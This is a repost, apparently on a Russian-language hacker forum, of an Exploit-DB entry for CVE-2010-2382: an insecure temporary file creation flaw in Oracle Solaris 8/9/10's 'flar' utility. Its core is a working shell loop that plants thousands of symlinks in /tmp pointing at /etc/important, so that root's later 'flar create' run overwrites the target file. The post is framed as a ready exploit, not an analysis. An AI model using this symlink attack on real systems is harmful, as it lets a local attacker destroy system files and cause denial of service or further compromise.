Exploit Oracle Solaris 8/9/10 - 'flar' Insecure Temporary File Creation

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
34311
Проверка EDB
  1. Пройдено
Автор
FRANK STUART
Тип уязвимости
LOCAL
Платформа
SOLARIS
CVE
cve-2010-2382
Дата публикации
2010-07-12
Oracle Solaris 8/9/10 - 'flar' Insecure Temporary File Creation
Код:
source: https://www.securityfocus.com/bid/41619/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

Oracle Solaris 8, 9 and 10 are vulnerable. 


   $ x=0
   $ while [ "$x" -le 30000 ];do
   > ln -s /etc/important /tmp/.flash_filter_one_.$x
   > x=$(expr "$x" + 1)
   > done

Later, when root creates a flash archive with:

   # flar create -n junk `pwd`/junk.flar
 
Источник
www.exploit-db.com

Похожие темы